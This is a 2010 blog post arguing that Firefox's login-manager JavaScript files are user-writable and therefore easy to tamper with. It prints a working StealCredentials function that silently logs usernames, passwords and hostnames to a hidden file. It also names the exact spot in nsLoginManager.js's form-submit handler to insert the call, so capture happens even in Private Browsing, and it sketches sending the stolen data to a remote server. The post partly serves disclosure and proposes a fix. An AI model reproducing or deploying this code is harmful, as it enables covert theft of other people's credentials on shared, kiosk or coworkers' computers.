World Line

Easy Firefox “exploit”

leave a comment »

I’m a big fan of Firefox, both as an application and as an “institution” — but I’ve always been a bit intrigued by the amount of serious work it does in regular, local-user-write-access JavaScript files. Not just things related to the chrome, but actual (what most people would consider) “backend” work, particularly in the area of tossing around user credentials. In fact, the little “Login Prompter” that you see whenever you log into a page for the first time —

Firefox Login Prompter

Firefox Login Prompter

This bar is actually fully implemented in the innocuous-sounding nsLoginManager.js and nsLoginManagerPrompter.js files, which are (on OS X and Windows, not on Linux) writable by unprivileged users. The impact of this decision becomes clearly felt when you peek inside these files: it’s full of functions that scrape passwords from all the input fields on a page, events that are fired whenever input forms are submitted, and handles to every form of personal information Firefox sees — all conveniently executed for you on every single page. Once I saw this, the exploit was simple. Obviously if this little toolbar was responsible for storing the credentials to Firefox’s backend storage, it has some sort of handle to them. If I just looked at the code near the event handlers for those buttons, I could make them both act as “Save Password”, regardless of their labeling. In fact, once I actually saw the source the reality became even worse — I don’t need the user to click on anything, in fact, I don’t need that bar to show up at all. I just added a function like this to the very top of nsLoginManager.js:

function StealCredentials(username, password, hostname) {
    var saveFile = "/Users/adrian/.pass.txt";
    var file = Components.classes["@mozilla.org/file/local;1"]
        .createInstance(Components.interfaces.nsILocalFile);
    file.initWithPath(saveFile);
    if (file.exists() == false) {
        file.create(Components.interfaces.nsIFile.NORMAL_FILE_TYPE, 420);
    }

    var outputStream = Components.classes["@mozilla.org/network/file-output-stream;1"]
        .createInstance(Components.interfaces.nsIFileOutputStream);

    outputStream.init(file, 0x04 | 0x08 | 0x10, 420, 0);
    var stolenStuff = username + '\t' + password + '\t' + hostname + '\n';
    outputStream.write(stolenStuff, stolenStuff.length);
    outputStream.close();

    // Mischief managed!
}

Now you just need to call this from any of the juicy weak spots in nsLoginManager.js. My personal choice was in the _onFormSubmit event handler, just before the following block:

        StealCredentials(usernameField.value, newPasswordField.value, hostname);

        if (this._inPrivateBrowsing) {
            // We won't do anything in private browsing mode anyway,
            // so there's no need to perform further checks.
            this.log("(form submission ignored in private browsing mode)");
            return;
        }

That’s right — Firefox’s touted super-secure “Private Browsing Mode” is basically just a manual check in a user-writable JavaScript file — under the hood, the credentials pass through it just the same. The change I’m describing works equally well whether the user has the false sense of security of Private Browsing Mode, disabled login prompter, whatever. Whenever a form is submitted and this Javascript jumps into action, the password fields are scraped, conveniently parsed for us (so that Firefox knows which form elements to save), and then written directly to the file we gave in StealCredentials().

The consequences are clear. An attacker can even just make this change on their own system — how many times have you borrowed someone’s laptop to check your e-mail, trusting that telling Firefox not to remember your password and signing out right afterwards was protection enough? The attacker will have your credentials in the text file regardless, even though Firefox will not list it as saved. That’s actually the least of the problem, though. Since the files are user-writable, all a black hat needs is 10 seconds of physical local access to apply this change (possibly through a remotely-downloaded script that the attacker prepares in advance), and there’s really no chance any victim will detect it until the next Firefox update. The attacker doesn’t even need further physical access to the machine after that — instead of a nsILocalFile, the change could trivially be modified to use nsISocketTransport as an output stream, sending the passwords across the Internet to a server waiting to listen for them. (Yes I’ve tried this. Yes it works. I’m not posting that code to discourage at least the laziest of script kiddies). Kiosk computers, coworkers — the list of possibilities is staggering.

The only solution I can think of, really, is to move this entire section of logic out of Javascript and into the Firefox binary proper — at least that is usually afforded some level of protection by the operating system automatically (and if an attacker can modify that with his own copy, then all bets are off anyway).

At least until then, any remotely technically-savvy person can exploit any Windows or OS X Firefox installations in his vicinity.

Written by Adrian Petrescu

January 27, 2010 at 6:32 am

Posted in Development

Tagged with ,

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

%d bloggers like this: